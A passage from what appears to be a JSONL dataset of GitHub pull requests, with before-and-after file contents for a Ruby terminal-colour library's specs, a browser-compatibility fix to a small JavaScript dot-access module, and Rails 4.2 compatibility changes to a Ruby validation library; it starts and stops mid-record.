(HighLine.const_defined?(name.upcase) rescue false)\n        HighLine.const_get(name.upcase)\n      else\n        case name\n        when /^([fb])(\\d+)$/\n          fb = $1 == 'f' ? 38 : 48\n          color = $2.size == 3 ? 16 + $2.to_i(6) : 232 + $2.to_i\n          \"\\e[#{fb};5;#{color}m\"\n        when /^[^0-9]?(\\d+)$/\n          \"\\e[#{$1}m\"\n        end\n      end\n    end\n  end\nend\n\nclass String\n  def termcolor(color=nil, target=nil)\n    tagging = ->s{ \"<#{color}>#{s}</#{color}>\" }\n    str =\n      if color\n        case target\n        when Range\n          dself = self.dup\n          dself[target] = tagging[(dself[target])]\n          dself\n        when String, Symbol\n          self.gsub(/#{target.to_s}/) { tagging[$&] }\n        else\n          tagging[self]\n        end\n      else\n        self\n      end\n\n    TermColor.parse(str)\n  end\nend\n", "spec/termcolor_spec.rb": "# -*- coding: utf-8 -*-\nrequire File.dirname(__FILE__) + '/spec_helper'\n\nmodule TermColor\n  describe TermColor do\n    before do\n    end\n\n    it 'should parse 1' do\n      text = TermColor.parse('aaa<red>aaaa<bold>foo</bold>bb<blue>bbbb</blue>bbb</red>ccc<on_yellow>ccccc</on_yellow>ccc')\n      puts text\n      text.should == \"aaa\\e[31maaaa\\e[1mfoo\\e[0m\\e[31mbb\\e[34mbbbb\\e[0m\\e[31mbbb\\e[0mccc\\e[43mccccc\\e[0mccc\"\n    end\n\n    it 'should parse 2' do\n      text = TermColor.parse('aa<blue>a<foo>aaa<red>aa</red>aaaa</foo>a</blue>aaa')\n      puts text\n      text.should == \"aa\\e[34maaaa\\e[31maa\\e[0m\\e[34maaaa\\e[0ma\\e[0maaa\"\n    end\n\n    it 'should parse 3' do\n      text = TermColor.parse('aa<blue>aaaaa&lt;aaa&quot;aaa&gt;aaa&amp;aaaaa</blue>aaa')\n      puts text\n      text.should == \"aa\\e[34maaaaa<aaa\\\"aaa>aaa&aaaaa\\e[0maaa\"\n    end\n\n    it 'should parse 4' do\n      text = TermColor.parse('aa<30>bbbbbbb<32>cccc<90>ddd</90>c</32>b</30>aaa')\n      puts text\n      text.should == \"aa\\e[30mbbbbbbb\\e[32mcccc\\e[90mddd\\e[0m\\e[30m\\e[32mc\\e[0m\\e[30mb\\e[0maaa\"\n    end\n\n    it 'should parse 5' do\n      text = TermColor.parse('aa<f123>bbbbbbb<b321>ccccc</b321>b</f123>aaa')\n      puts text\n      text.should == \"aa\\e[38;5;67mbbbbbbb\\e[48;5;137mccccc\\e[0m\\e[38;5;67mb\\e[0maaa\"\n    end\n\n    it 'should parse 6' do\n      text = TermColor.parse('aa<f12>bbbbbbb<b6>ccccc</b6>b</f12>aaa')\n      puts text\n      text.should == \"aa\\e[38;5;244mbbbbbbb\\e[48;5;238mccccc\\e[0m\\e[38;5;244mb\\e[0maaa\"\n    end\n\n    it 'should raise Error' do\n      lambda{ TermColor.parse('aaaaa<red>aaaaa</blue>aaaaa') }.should raise_error(REXML::ParseException)\n      lambda{ TermColor.parse('aaaaa<red>aaaaaaaaaa') }.should_not raise_error(REXML::ParseException)\n    end\n\n    it 'should escape text' do\n      TermColor.escape('<>&\"\\'').should == \"&lt;&gt;&amp;&quot;&apos;\"\n    end\n\n    it 'should unescape text' do\n      TermColor.unescape(\"&lt;&gt;&amp;&quot;&apos;\").should == '<>&\"\\''\n    end\n\n    it 'should prepare parse' do\n      TermColor.prepare_parse(\"<10>10</10>\").should == '<_10>10</_10>'\n      TermColor.prepare_parse(\"<32>10</32>\").should == '<_32>10</_32>'\n    end\n\n    it 'should convert to escape sequence' do\n      listener = TermColor::MyListener.new\n      listener.to_esc_seq('red').should == \"\\e[31m\"\n      listener.to_esc_seq('on_red').should == \"\\e[41m\"\n      listener.to_esc_seq('foo').should == nil\n      listener.to_esc_seq('0').should == \"\\e[0m\"\n      listener.to_esc_seq('31').should == \"\\e[31m\"\n      listener.to_esc_seq('031').should == \"\\e[031m\"\n      listener.to_esc_seq('_0').should == \"\\e[0m\"\n      listener.to_esc_seq('_31').should == \"\\e[31m\"\n    end\n\n    it 'should do colorize' do\n      TermColor.colorize('test', :green).should == \"\\e[32mtest\\e[0m\"\n    end\n\n    it 'should make separate tags for combined-style tag' do\n      h = { \"<red_on_yellow>hello, world</red_on_yellow>\" =>\n                   \"<red><on_yellow>hello, world</on_yellow></red>\",\n            \"<green_with_bold>hello, world</green_with_bold>\" =>\n                   \"<green><bold>hello, world</bold></green>\",\n            \"<blue_on_white_with_bold_and_underline>hello</blue_on_white_with_bold_and_underline>\" =>\n                   \"<blue><on_white><bold><underline>hello</underline></bold></on_white></blue>\",\n            \"<black_on_white>hello</black_on_white>term<green_with_bold>color</green_with_bold>\" =>\n                   \"<black><on_white>hello</on_white></black>term<green><bold>color</bold></green>\" }\n      h.each_pair do |combined, separated|\n        TermColor.prepare_parse(combined).should == separated\n      end\n    end\n\n    it 'should do colorize using String#termcolor' do\n      \"<red>ruby</red>\".termcolor.should == \"\\e[31mruby\\e[0m\"\n      \"ruby\".termcolor(:red).should == \"<red>ruby</red>\".termcolor\n      \"ruby isn't ruby gem\".termcolor(:red, 11..14).should == \"ruby isn't <red>ruby</red> gem\".termcolor\n      \"ruby isn't ruby gem\".termcolor(:red, 'ruby').should == \"<red>ruby</red> isn't <red>ruby</red> gem\".termcolor\n      \"ruby isn't ruby gem\".termcolor(:red, :ruby).should == \"<red>ruby</red> isn't <red>ruby</red> gem\".termcolor\n      \"Ruby isn't Ruby Gem\".termcolor(:red, '[A-Z]+').should == \"<red>R</red>uby isn't <red>R</red>uby <red>G</red>em\".termcolor\n    end\n  end\nend\n"}}
{"repo": "daaku/nodejs-dotaccess", "pr_number": 3, "title": "Prevent dotaccess lib from throwing exception in browser.", "state": "closed", "merged_at": null, "additions": 9, "deletions": 3, "files_changed": ["lib/dotaccess.js"], "files_before": {"lib/dotaccess.js": "module.exports.set = set\nmodule.exports.unset = unset\nmodule.exports.get = get\n\nfunction parts(key) {\n  if (Array.isArray(key)) return key\n  return key.split('.')\n}\n\nfunction lookup(obj, key) {\n  key = parts(key)\n  var lastKey = key.pop()\n  for (var i=0, l=key.length; i<l; i++) {\n    var part = key[i]\n    if (!(part in obj)) obj[part] = {}\n    obj = obj[part]\n    if (!obj) throw new Error('dotaccess: incompatible value in ' + part)\n  }\n  return [obj, lastKey];\n}\n\nfunction set(obj, key, value, overwrite) {\n  var objectAndKey = lookup(obj, key)\n    , obj = objectAndKey[0]\n    , key = objectAndKey[1];\n  if (overwrite || !(key in obj)) obj[key] = value\n}\n\nfunction unset(obj, key) {\n  var objectAndKey = lookup(obj, key)\n    , obj = objectAndKey[0]\n    , key = objectAndKey[1];\n  return delete obj[key];\n}\n\nfunction get(obj, key, def) {\n  key = parts(key)\n  for (var i=0, l=key.length; i<l; i++) {\n    var part = key[i]\n    if (!(part in obj)) return def\n    obj = obj[part]\n  }\n  return obj\n}\n"}, "files_after": {"lib/dotaccess.js": "var dotaccess = {\n  set: set,\n  unset: unset,\n  get: get\n}\n\nif (typeof module != 'undefined' && module.exports) {\n  module.exports = dotaccess;\n}\n\nfunction parts(key) {\n  if (Array.isArray(key)) return key\n  return key.split('.')\n}\n\nfunction lookup(obj, key) {\n  key = parts(key)\n  var lastKey = key.pop()\n  for (var i=0, l=key.length; i<l; i++) {\n    var part = key[i]\n    if (!(part in obj)) obj[part] = {}\n    obj = obj[part]\n    if (!obj) throw new Error('dotaccess: incompatible value in ' + part)\n  }\n  return [obj, lastKey];\n}\n\nfunction set(obj, key, value, overwrite) {\n  var objectAndKey = lookup(obj, key)\n    , obj = objectAndKey[0]\n    , key = objectAndKey[1];\n  if (overwrite || !(key in obj)) obj[key] = value\n}\n\nfunction unset(obj, key) {\n  var objectAndKey = lookup(obj, key)\n    , obj = objectAndKey[0]\n    , key = objectAndKey[1];\n  return delete obj[key];\n}\n\nfunction get(obj, key, def) {\n  key = parts(key)\n  for (var i=0, l=key.length; i<l; i++) {\n    var part = key[i]\n    if (!(part in obj)) return def\n    obj = obj[part]\n  }\n  return obj\n}\n"}}
{"repo": "cainlevy/semantic-attributes", "pr_number": 4, "title": "Fixes for Rails 4.2 compatibility.", "state": "closed", "merged_at": "2016-12-06T21:54:41Z", "additions": 27, "deletions": 12, "files_changed": ["lib/predicates/unique.rb", "lib/semantic_attributes/predicates.rb", "test/test_helper.rb", "test/unit/validations_test.rb"], "files_before": {"lib/predicates/unique.rb": "# Describes an attribute as being unique, possibly within a certain scope.\n#\n# ==Options\n# * :scope [array] - a list of other fields that define the context for uniqueness. it's like defining a multi-column uniqueness constraint.\n# * :case_sensitive [boolean, default false] - whether case matters for uniqueness.\n#\n# ==Examples\n#   field_is_unique :case_sensitive => true\n#   field_is_unique :scope => [:other_field, :another_other_field]\nclass Predicates::Unique < Predicates::Base\n  attr_accessor :case_sensitive\n  attr_accessor :scope\n\n  def initialize(attribute, options = {})\n    defaults = {\n      :scope => [],\n      :case_sensitive => false\n    }\n    super attribute, defaults.merge(options)\n  end\n\n  def error_message\n    @error_message || :taken\n  end\n\n  def validate(value, record)  \n    klass = record.class\n  \n    # merge all the scope fields with this one. they must all be unique together.\n    # no special treatment -- case sensitivity applies to all or none.\n    values = [scope].flatten.collect{ |attr| [attr, record.send(attr)] }\n    values << [@attribute, value]\n\n    sql = values.map do |(attr, attr_value)|\n      comparison_for(attr, attr_value, klass)\n    end\n\n    unless record.new_record?\n      sql << klass.send(:sanitize_sql, [\"#{klass.quoted_table_name}.#{klass.primary_key} <> ?\", record.id])\n    end\n\n    !klass.where(sql.join(\" AND \")).exists?\n  end\n  \n  protected\n  \n  def comparison_for(field, value, klass)\n    quoted_field = \"#{klass.quoted_table_name}.#{klass.connection.quote_column_name(field)}\"\n\n    if klass.columns_hash[field.to_s].text?\n      if case_sensitive\n        # case sensitive text comparison in any database\n        klass.send(:sanitize_sql, [\"#{quoted_field} #{klass.connection.case_sensitive_equality_operator} ?\", value])\n      elsif mysql?(klass.connection)\n        # case INsensitive text comparison in mysql - yes this is a database specific optimization. i'm always open to better ways. :)\n        klass.send(:sanitize_sql, [\"#{quoted_field} = ?\", value])\n      else\n        # case INsensitive text comparison in most databases\n        klass.send(:sanitize_sql, [\"LOWER(#{quoted_field}) = ?\", value.to_s.downcase])\n      end\n    else\n      # non-text comparison\n      klass.send(:sanitize_sql, {field => value})\n    end\n  end\n  \n  def mysql?(connection)\n    (defined?(ActiveRecord::ConnectionAdapters::MysqlAdapter) and connection.is_a?(ActiveRecord::ConnectionAdapters::MysqlAdapter)) or\n      (defined?(ActiveRecord::ConnectionAdapters::Mysql2Adapter) and connection.is_a?(ActiveRecord::ConnectionAdapters::Mysql2Adapter))\n  end\nend\n", "lib/semantic_attributes/predicates.rb": "# active record tie-ins\nmodule SemanticAttributes\n  module Predicates\n    def self.included(base)\n      base.class_eval do\n        extend ClassMethods\n        base.semantic_attributes = SemanticAttributes::Set.new\n        attribute_method_suffix '_valid?'\n        validate :validate_predicates\n      end\n    end\n\n    def semantic_attributes\n      self.class.semantic_attributes\n    end\n\n    # the validation hook that checks all predicates\n    def validate_predicates\n      semantic_attributes.each do |attribute|\n        applicable_predicates = attribute.predicates.select{|p| validate_predicate?(p)}\n\n        next if applicable_predicates.empty?\n\n        # skip validations on associations that aren't already loaded\n        # note: it's not worth skipping a has_one, since there's no way to distinguish\n        # between loaded and absent without a query.\n        if reflection = self.class.reflect_on_association(attribute.field.to_sym)\n          if reflection.collection?\n            next unless self.association(attribute.field).loaded?\n          elsif reflection.macro == :belongs_to and self[reflection.foreign_key]\n            next unless self.association(attribute.field).loaded?\n          end\n        end\n\n        value = self.send(attribute.field)\n        applicable_predicates.each do |predicate|\n          if value.blank?\n            # it's empty, so add an error or not but either way move along\n            self.errors.add(attribute.field, predicate.error) unless predicate.allow_empty?\n            next\n          end\n\n          unless predicate.validate(value, self)\n            self.errors.add(attribute.field, predicate.error)\n          end\n        end\n      end\n    end\n\n    protected\n    # Returns true if this attribute would pass validation during the next save.\n    # Intended to be called via attribute suffix, like:\n    #   User#login_valid?\n    def attribute_valid?(attr)\n      semantic_attributes[attr.to_sym].predicates.all? do |p|\n        !validate_predicate?(p) or (self.send(attr).blank? and p.allow_empty?) or p.validate(self.send(attr), self)\n      end\n    end\n\n    # Returns true if the given predicate (for a specific attribute) should be validated.\n    def validate_predicate?(predicate)\n      case predicate.validate_if\n        when Symbol\n        return false unless send(predicate.validate_if)\n\n        when Proc\n        return false unless predicate.validate_if.call(self)\n      end\n\n      case predicate.validate_on\n        when :create\n        return false unless new_record?\n\n        when :update\n        return false if new_record?\n      end\n\n      true\n    end\n\n    module ClassMethods\n      def semantic_attributes\n        @semantic_attributes ||= SemanticAttributes::Set.new\n      end\n\n      def semantic_attributes=(val)\n        @semantic_attributes = val || SemanticAttributes::Set.new\n      end\n \n      def inherited(klass)\n        klass.semantic_attributes = self.semantic_attributes.dup\n        super\n      end\n\n      # Provides sugary syntax for adding and querying predicates\n      #\n      # The syntax supports the following forms:\n      #   #{attribute}_is_#{predicate}(options = {})\n      #   #{attribute}_is_a_#{predicate}(options = {})\n      #   #{attribute}_is_an_#{predicate}(options = {})\n      #   #{attribute}_has_#{predicate}(options = {})\n      #   #{attribute}_has_a_#{predicate}(options = {})\n      #   #{attribute}_has_an_#{predicate}(options = {})\n      #\n      # You may also add required-ness into the declaration:\n      #   #{attribute}_is_a_required_#{predicate}(options = {})\n      #\n      # If you want to assign a predicate to multiple fields, you may replace the attribute component with the word 'fields', and pass a field list as the first argument, like this:\n      #   fields_are_#{predicate}(fields = [], options = {})\n      #\n      # Each form may also have a question mark at the end, to query whether the attribute has the predicate.\n      #\n      # In order to avoid clashing with other method_missing setups, this syntax is checked *last*, after all other method_missing metaprogramming attempts have failed.\n      def method_missing(name, *args)\n        begin\n          super\n        rescue NameError\n          if /^(.*)_(is|has|are)_(an?_)?(required_)?([^?]*)(\\?)?$/.match(name.to_s)\n            options = args.last.is_a?(Hash) ? args.pop : {}\n            options[:or_empty] = false if !$4.nil?\n            fields = ($1 == 'fields') ? args.map(&:to_s) : [$1]\n\n            predicate = $5\n            if $6 == '?'\n              self.semantic_attributes[fields.first].has? predicate\n            else\n              args = [predicate]\n              args << options if options\n              fields.each do |field|\n                # TODO: create a less sugary method that may be used programmatically and takes care of defining the normalization method properly\n                define_humanization_method_for field\n                define_normalization_method_for field\n                self.semantic_attributes[field].add *args\n              end\n            end\n          else\n            raise\n          end\n        end\n      end\n\n      # Provides a way to pre-validate a single value out of context of\n      # an entire record. This is helpful for validating parts of a form\n      # before it has been submitted.\n      #\n      # For values that are (in)valid only in context, such as the common\n      # :password_confirmation (which is only valid with a matching :password),\n      # additional values may be specified.\n      #\n      # WARNING: I still have not figured out what to do about differences in\n      # validation for new/existing records.\n      #\n      # Returns first error message if value is expected invalid.\n      #\n      # Example:\n      #   User.expected_error_for(:username, \"bob\")\n      #   => \"has already been taken.\"\n      #   User.expected_error_for(:username, \"bob2392\")\n      #   => nil\n      #   User.expected_error_for(:password_confirmation, \"mismatched\", :password => \"opensesame\")\n      #   => \"must be the same as password.\"\n      def expected_error_for(attribute, value, extra_values = {})\n        @record = self.new(extra_values)\n        semantic_attributes[attribute.to_sym].predicates.each do |predicate|\n          return predicate.error_message unless predicate.validate(value, @record)\n        end\n        nil\n      end\n    end\n  end\nend\n", "test/test_helper.rb": "ENV[\"RAILS_ENV\"] = \"test\"\n\n# load the support libraries\nrequire 'minitest/autorun'\nrequire 'rubygems'\nrequire 'active_record'\nrequire 'active_record/fixtures'\nrequire 'active_support/time'\n\n# load the code-to-be-tested\nrequire 'semantic_attributes'\n\nTime.zone = 'UTC'\n\n# establish the database connection\nActiveRecord::Base.configurations = YAML::load(IO.read(File.dirname(__FILE__) + '/db/database.yml'))\nActiveRecord::Base.establish_connection(:semantic_attributes_test)\n\n# capture the logging\nActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + \"/test.log\")\n\n# load the schema ... silently\nActiveRecord::Migration.verbose = false\nload(File.dirname(__FILE__) + \"/db/schema.rb\")\n\n# load the ActiveRecord models\nrequire File.dirname(__FILE__) + '/db/models'\n\n# configure the TestCase settings\nclass SemanticAttributes::TestCase < ActiveSupport::TestCase\n  include ActiveRecord::TestFixtures\n  include PluginTestModels\n\n  self.use_transactional_fixtures = true\n  self.use_instantiated_fixtures  = false\n  self.fixture_path = File.dirname(__FILE__) + '/fixtures/'\n\n  fixtures :all\nend\n\nclass ActiveRecord::Base\n  # Aids the management of per-test semantics.\n  #\n  # Examples:\n  #\n  # User.stub_semantics_with(:email => :email)\n  # User.stub_semantics_with(:email => [:email, :unique])\n  # User.stub_semantics_with(:email => {:length => {:above => 5}})\n  # User.stub_semantics_with(:email => [:email, {:length => {:above => 5}}])\n  def self.stub_semantics_with(attr_predicates = {})\n    semantics = SemanticAttributes::Set.new\n    attr_predicates.each do |attr, predicates|\n      [predicates].flatten.each do |predicate|\n        case predicate\n          when String, Symbol\n          semantics[attr].add(predicate)\n          when Hash\n          semantics[attr].add(predicate.keys.first, predicate.values.first)\n          else\n          raise '???'\n        end\n      end\n    end\n\n    self.stubs(:semantic_attributes).returns(semantics)\n  end\nend\n", "test/unit/validations_test.rb": "require File.expand_path(File.dirname(__FILE__) + '/../test_helper')\n\nclass ValidationsTest < SemanticAttributes::TestCase\n  def setup\n    User.stub_semantics_with(:login => :required)\n    @record = User.new\n    @login_required = @record.semantic_attributes['login'].get('required')\n  end\n\n  def test_validation_hook\n    @record.expects(:validate_predicates)\n    @record.valid?\n  end\n\n  def test_validation_errors\n    assert !@record.valid?\n    assert @record.errors[:login]\n    assert_equal ['is required.'], @record.errors[:login]\n  end\n\n  def test_validate_on_default\n    assert_equal :both, @record.semantic_attributes['login'].get('required').validate_on\n  end\n\n  ##\n  ## attr_valid?\n  ##\n\n  def test_attribute_valid?\n    assert !@record.login_valid?\n    @record.login = \"foo\"\n    assert @record.login_valid?\n  end\n\n  def test_attribute_valid_with_conditional_validation\n    assert !@record.login_valid?\n    @record.stubs(:validate_predicate?).returns(false)\n    assert @record.login_valid?\n  end\n\n  ##\n  ## validate_predicate?\n  ##\n\n  def test_validate_predicate_with_validate_if_symbol\n    @record.stubs(:no).returns(false)\n    @record.stubs(:yes).returns(true)\n\n    assert @record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = :no\n    assert !@record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = :yes\n    assert @record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_if_proc\n    assert @record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = proc {false}\n    assert !@record.send(:validate_predicate?, @login_required)\n\n    @record.semantic_attributes['login'].get('required').validate_if = proc {true}\n    assert @record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_on_create\n    @record = users(:george)\n    @record.login = nil\n\n    # test assumptions\n    assert !@record.new_record?\n    assert @record.send(:validate_predicate?, @login_required)\n\n    # the test\n    @record.semantic_attributes['login'].get('required').validate_on = :create\n    assert !@record.send(:validate_predicate?, @login_required)\n  end\n\n  def test_validate_predicate_with_validate_on_update\n    # test assumptions\n    assert @record.new_record?\n    assert @record.send(:validate_predicate?, @login_required)\n\n    # the test\n    @record.semantic_attributes['login'].get('required').validate_on = :update\n    assert !@record.send(:validate_predicate?, @login_required)\n  end\n\n  ##\n  ## :or_empty\n  ##\n\n  def test_allow_empty\n    User.stub_semantics_with(:login => {:number => {:or_empty => true}})\n\n    # empty values should skip the validate method\n    predicate = @record.semantic_attributes['login'].get('number')\n    predicate.expects(:validate).never\n\n    [nil, '', []].each do |empty_value|\n      @record.login = empty_value\n      assert @record.valid?\n    end\n  end\n\n  def test_disallow_empty\n    User.stub_semantics_with(:login => {:number => {:or_empty => false}})\n\n    # empty values should skip the validate method\n    predicate = @record.semantic_attributes['login'].get('number')\n    predicate.expects(:validate).never\n\n    [nil, '', []].each do |empty_value|\n      @record.login = empty_value\n      assert !@record.valid?\n      assert @record.errors[:login]\n    end\n  end\nend\n"}, "files_after": {"lib/predicates/unique.rb": "# Describes an attribute as being unique, possibly within a certain scope.\n#\n# ==Options\n# * :scope [array] - a list of other fields that define the context for uniqueness. it's like defining a multi-column uniqueness constraint.\n# * :case_sensitive [boolean, default false] - whether case matters for uniqueness.\n#\n# ==Examples\n#   field_is_unique :case_sensitive => true\n#   field_is_unique :scope => [:other_field, :another_other_field]\nclass Predicates::Unique < Predicates::Base\n  attr_accessor :case_sensitive\n  attr_accessor :scope\n\n  def initialize(attribute, options = {})\n    defaults = {\n      :scope => [],\n      :case_sensitive => false\n    }\n    super attribute, defaults.merge(options)\n  end\n\n  def error_message\n    @error_message || :taken\n  end\n\n  def validate(value, record)\n    klass = record.class\n\n    # merge all the scope fields with this one. they must all be unique together.\n    # no special treatment -- case sensitivity applies to all or none.\n    values = [scope].flatten.collect{ |attr| [attr, record.send(attr)] }\n    values << [@attribute, value]\n\n    sql = values.map do |(attr, attr_value)|\n      comparison_for(attr, attr_value, klass)\n    end\n\n    unless record.new_record?\n      sql << klass.send(:sanitize_sql, [\"#{klass.quoted_table_name}.#{klass.primary_key} <> ?\", record.id])\n    end\n\n    !klass.where(sql.join(\" AND \")).exists?\n  end\n\n  protected\n\n  def comparison_for(field, value, klass)\n    quoted_field = \"#{klass.quoted_table_name}.#{klass.connection.quote_column_name(field)}\"\n\n    if klass.columns_hash[field.to_s].text?\n      if case_sensitive\n        # case sensitive text comparison in any database\n        if klass.connection.respond_to?(:case_sensitive_equality_operator)\n          # <= Rails 4.1\n          comparison = klass.send(:sanitize_sql, [\"#{quoted_field} #{klass.connection.case_sensitive_equality_operator} ?\", value])\n        else\n          # >= Rails 4.2\n          case_sensitive_value = klass.connection.case_sensitive_modifier(value, field)\n          case_sensitive_value = case_sensitive_value.to_sql if case_sensitive_value.respond_to?(:to_sql)\n          klass.send(:sanitize_sql, [\"#{quoted_field} = ?\", case_sensitive_value])\n        end\n      elsif mysql?(klass.connection)\n        # case INsensitive text comparison in mysql - yes this is a database specific optimization. i'm always open to better ways. :)\n        klass.send(:sanitize_sql, [\"#{quoted_field} = ?\", value])\n      else\n        # case INsensitive text comparison in most databases\n        klass.send(:sanitize_sql, [\"LOWER(#{quoted_field}) = ?\", value.to_s.downcase])\n      end\n    else\n      # non-text comparison\n      klass.send(:sanitize_sql, [\"#{quoted_field} = ?\", value])\n    end\n  end\n\n  def mysql?(connection)\n    (defined?(ActiveRecord::ConnectionAdapters::MysqlAdapter) and connection.is_a?(ActiveRecord::ConnectionAdapters::MysqlAdapter)) or\n      (defined?(ActiveRecord::ConnectionAdapters::Mysql2Adapter) and connection.is_a?(ActiveRecord::ConnectionAdapters::Mysql2Adapter))\n  end\nend\n", "lib/semantic_attributes/predicates.rb": "# active record tie-ins\nmodule SemanticAttributes\n  module Predicates\n    def self.included(base)\n      base.class_eval do\n        extend ClassMethods\n        base.semantic_attributes = SemanticAttributes::Set.new\n        attribute_method_suffix '_valid?'\n        validate :validate_predicates\n      end\n    end\n\n    def semantic_attributes\n      self.class.semantic_attributes\n    end\n\n    # the validation hook that checks all predicates\n    def validate_predicates\n      semantic_attributes.each do |attribute|\n        applicable_predicates = attribute.predicates.select{|p| validate_predicate?(p)}\n\n        next if applicable_predicates.empty?\n\n        # skip validations on associations that aren't already loaded\n        # note: it's not worth skipping a has_one, since there's no way to distinguish\n        # between loaded and absent without a query.\n        if reflection = self.class.reflect_on_association(attribute.field.to_sym)\n          if reflection.collection?\n            next unless self.association(attribute.field).loaded?\n          elsif reflection.macro == :belongs_to and self[reflection.foreign_key]\n            next unless self.association(attribute.field).loaded?\n          end\n        end\n\n        value = self.send(attribute.field)\n        applicable_predicates.each do |predicate|\n          if value.blank?\n            # it's empty, so add an error or not but either way move along\n            self.errors.add(attribute.field, predicate.error) unless predicate.allow_empty?\n            next\n          end\n\n          unless predicate.validate(value, self)\n            self.errors.add(attribute.field, predicate.error)\n          end\n        end\n      end\n    end\n\n    protected\n    # Returns true if this attribute would pass validation during the next save.\n    # Intended to be called via attribute suffix, like:\n    #   User#login_valid?\n    def attribute_valid?(attr)\n      semantic_attributes[attr.to_sym].predicates.all? do |p|\n        !validate_predicate?(p) or (self.send(attr).blank? and p.allow_empty?) or p.validate(self.send(attr), self)\n      end\n    end\n\n    # Returns true if the given predicate (for a specific attribute) should be validated.\n    def validate_predicate?(predicate)\n      case predicate.validate_if\n        when Symbol\n        return false unless send(predicate.validate_if)\n\n        when Proc\n        return false unless predicate.validate_if.call(self)\n      end\n\n      case predicate.validate_on\n        when :create\n        return false unless new_record?\n\n        when :update\n        return false if new_record?\n      end\n\n      true\n    end\n\n    module ClassMethods\n      def semantic_attributes\n        @semantic_attributes ||= SemanticAttributes::Set.new\n      end\n\n      def semantic_attributes=(val)\n        @semantic_attributes = val || SemanticAttributes::Set.new\n      end\n\n      def inherited(klass)\n        klass.semantic_attributes = self.semantic_attributes.dup\n        super\n      end\n\n      # Provides sugary syntax for adding and querying predicates\n      #\n      # The syntax supports the following forms:\n      #   #{attribute}_is_#{predicate}(options = {})\n      #   #{attribute}_is_a_#{predicate}(options = {})\n      #   #{attribute}_is_an_#{predicate}(options = {})\n      #   #{attribute}_has_#{predicate}(options = {})\n      #   #{attribute}_has_a_#{predicate}(options = {})\n      #   #{attribute}_has_an_#{predicate}(options = {})\n      #\n      # You may also add required-ness into the declaration:\n      #   #{attribute}_is_a_required_#{predicate}(options = {})\n      #\n      # If you want to assign a predicate to multiple fields, you may replace the attribute component with the word 'fields', and pass a field list as the first argument, like this:\n      #   fields_are_#{predicate}(fields = [], options = {})\n      #\n      # Each form may also have a question mark at the end, to query whether the attribute has the predicate.\n      #\n      # In order to avoid clashing with other method_missing setups, this syntax is checked *last*, after all other method_missing metaprogramming attempts have failed.\n      def method_missing(name, *args)\n        begin\n          super\n        rescue NameError\n          if /^(.*)_(is|has|are)_(an?_)?(required_)?([^?]*)(\\?)?$/.match(name.to_s)\n            options = args.last.is_a?(Hash) ? args.pop : {}\n            options[:or_empty] = false if !$4.nil?\n            fields = ($1 == 'fields') ? args.map(&:to_s) : [$1]\n\n            predicate = $5\n            if $6 == '?'\n              self.semantic_attributes[fields.first].has? predicate\n            else\n              args = [predicate]\n              args << options if options\n              fields.each do |field|\n                # TODO: create a less sugary method that may be used programmatically and takes care of defining the normalization method properly\n                define_humanization_method_for field\n                define_normalization_method_for field\n                self.semantic_attributes[field].add *args\n              end\n            end\n          else\n            raise\n          end\n        end\n      end\n\n      # Provides a way to pre-validate a single value out of context of\n      # an entire record. This is helpful for validating parts of a form\n      # before it has been submitted.\n      #\n      # For values that are (in)valid only in context, such as the common\n      # :password_confirmation (which is only valid with a matching :password),\n      # additional values may be specified.\n      #\n      # WARNING: I still have not figured out what to do about differences in\n      # validation for new/existing records.\n      #\n      # Returns first error message if value is expected invalid.\n      #\n      # Example:\n      #   User.expected_error_for(:username, \"bob\")\n      #   => \"has already been taken.\"\n      #   User.expected_error_for(:username, \"bob2392\")\n      #   => nil\n      #   User.expected_error_for(:password_confirmation, \"mismatched\", :password => \"opensesame\")\n      #   => \"must be the same as password.\"\n      def expected_error_for(attribute, value, extra_values = {})\n        @record = self.new(extra_values)\n        semantic_attributes[attribute.to_sym].predicates.each do |predicate|\n          return predicate.error_message unless predicate.validate(value, @record)\n        end\n        nil\n      end\n    end\n  end\nend\n", "test/test_helper.rb": "ENV[\"RAILS_ENV\"] = \"test\"\n\n# load the support libraries\nrequire 'rubygems'\nrequire \"minitest/autorun\"\nrequire \"mocha/mini_test\"\nrequire 'active_record'\nrequire 'active_record/fixtures'\nrequire 'active_support/time'\n\n# load the code-to-be-tested\nrequire 'semantic_attributes'\n\nTime.zone = 'UTC'\n\n# establish the database connection\nActiveRecord::Base.configurations = YAML::load(IO.read(File.dirname(__FILE__) + '/db/database.yml'))\nActiveRecord::Base.establish_connection(:semantic_attributes_test)\n\n# capture the logging\nActiveRecord::Base.logger = Logger.new(File.dirname(__FILE__) + \"/test.log\")\n\n# load the schema ... silently\nActiveRecord::Migration.verbose = false\nload(File.dirname(__FILE__) + \"/db/schema.rb\")\n\n# load the ActiveRecord models\nrequire File.dirname(__FILE__) + '/db/models'\n\n# configure the TestCase settings\nclass SemanticAttributes::TestCase < ActiveSupport::TestCase\n  include ActiveRecord::TestFixtures\n  include PluginTestModels\n\n  self.use_transactional_fixtures = true\n  self.use_instantiated_fixtures  = false\n  self.fixture_path = File.dirname(__FILE__) + '/fixtures/'\n\n  fixtures :all\n\n  # >= Rails 4.2\n  if ActiveSupport.respond_to?(:test_order)\n    ActiveSupport.test_order = :random\n  end\n\nend\n\nclass ActiveRecord::Base\n  # Aids the management of per-test semantics.\n  #\n  # Examples:\n  #\n  # User.stub_semantics_with(:email => :email)\n  # User.stub_semantics_with(:email => [:email, :unique])\n  # User.stub_semantics_with(:email => {:length => {:above => 5}})\n  # User.stub_semantics_with(:email => [:email, {:length => {:above => 5}}])\n  def self.stub_semantics_with(attr_predicates = {})\n    semantics = SemanticAttributes::Set.new\n    attr_predicates.each do |attr, predicates|\n      [predicates].flatten.each do |predicate|\n        case predicate\n          when String, Symbol\n          semantics[attr].add(predicate)\n          when Hash\n          semantics[attr].add(predicate.keys.first, predicate.values.first)\n          else\n          raise '???'\n        end\n      end\n    end\n\n    self.stubs(:semantic_attributes).returns(semantics)\n  end\nend\n", "test/unit/validations_test.rb": "require File.expand_path(File.dirname(__FILE__) + '/../test_helper')\n\nclass ValidationsTest < SemanticAttributes::TestCase\n  def setup\n    User.stub_semantics_with(:login => :required)\n    @record = User.new\n    @login_required = 